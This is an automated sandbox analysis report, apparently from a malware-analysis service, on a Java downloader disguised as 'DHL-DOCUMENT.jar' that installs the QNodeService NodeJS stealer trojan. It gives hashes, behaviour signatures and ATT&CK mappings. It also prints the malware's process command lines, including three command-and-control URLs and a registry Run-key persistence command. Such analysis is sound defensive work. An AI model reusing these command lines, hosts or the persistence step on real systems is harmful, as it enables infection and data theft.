Analysis

  • max time kernel
    135s
  • max time network
    147s
  • platform
    windows10_x64
  • resource
    win10v200430
  • submitted
    12-07-2020 16:19

General

  • Target

    DHL-DOCUMENT.jar

  • Size

    11KB

  • MD5

    fa9976171fb96b7a94807b4719dc4953

  • SHA1

    6cc5948ed866b36928844e607a742d6ee7cc6281

  • SHA256

    31a4ae2cbeff17ff5530e9da4429d72364bfc10d40736834d715878f49ceee06

  • SHA512

    b76b606421a7ffbb18fd9bd88eafed6dad17ddfe13d6364e557485562ded9a72fe7730c4141e2b361010b6a351f1d9ed9a1b47e03371feacea8283ea05ff71f7

Malware Config

Signatures

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 4 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs
  • QNodeService NodeJS Trojan 1 IoCs
  • Adds Run entry to start application 2 TTPs 2 IoCs
  • QNodeService

    is a trojan written in NodeJS and spread via Java downloader. Utilizes stealer functionality.

  • Checks processor information in registry 2 TTPs 6 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

Processes

  • C:\ProgramData\Oracle\Java\javapath\java.exe
    java -jar C:\Users\Admin\AppData\Local\Temp\DHL-DOCUMENT.jar
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2804
    • C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\node.exe
      C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\node.exe C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\qnodejs\wizard.js start --group user:[email protected] --register-startup --central-base-url https://result.loseyourip.com --central-base-url https://result123.chickenkiller.com --central-base-url https://result.mmansersverocm.cc
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:564
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "qnodejs-d69681b3" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\qnodejs\qnodejs-d69681b3.cmd\"""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3800
        • C:\Windows\system32\reg.exe
          REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "qnodejs-d69681b3" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\qnodejs\qnodejs-d69681b3.cmd\""
          4⤵
          • Adds Run entry to start application
          PID:1864
      • C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\node.exe
        C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\node.exe C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\qnodejs\qnodejs-win32-x64.js serve start --group user:[email protected] --register-startup --central-base-url https://result.loseyourip.com --central-base-url https://result123.chickenkiller.com --central-base-url https://result.mmansersverocm.cc
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Suspicious behavior: EnumeratesProcesses
        • Checks processor information in registry
        PID:2600

Network

MITRE ATT&CK Matrix ATT&CK v6

Persistence

Registry Run Keys / Startup Folder

1
T1060

Defense Evasion

Modify Registry

1
T1112

Discovery

Query Registry

1
T1012

System Information Discovery

1
T1082

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\node.exe
  • C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\node.exe
  • C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\qnodejs\qnodejs-win32-x64.js
  • C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\qnodejs\wizard.js
  • \Users\Admin\qnodejs-node-v13.13.0-win-x64\qnodejs\node_modules\ffi-napi\prebuilds\win32-x64\node.napi.node
  • \Users\Admin\qnodejs-node-v13.13.0-win-x64\qnodejs\node_modules\native-reg\prebuilds\win32-x64\node.napi.node
  • \Users\Admin\qnodejs-node-v13.13.0-win-x64\qnodejs\node_modules\ref-napi\prebuilds\win32-x64\node.napi.node
  • \Users\Admin\qnodejs-node-v13.13.0-win-x64\qnodejs\node_modules\sqlite3\lib\binding\node-v79-win32-x64\node_sqlite3.node
  • memory/564-112-0x0000000000000000-mapping.dmp
  • memory/564-115-0x0000035368180000-0x0000035368181000-memory.dmp
    Filesize

    4KB

  • memory/1864-118-0x0000000000000000-mapping.dmp
  • memory/2600-119-0x0000000000000000-mapping.dmp
  • memory/2600-121-0x0000035E098C0000-0x0000035E098C1000-memory.dmp
    Filesize

    4KB

  • memory/3800-117-0x0000000000000000-mapping.dmp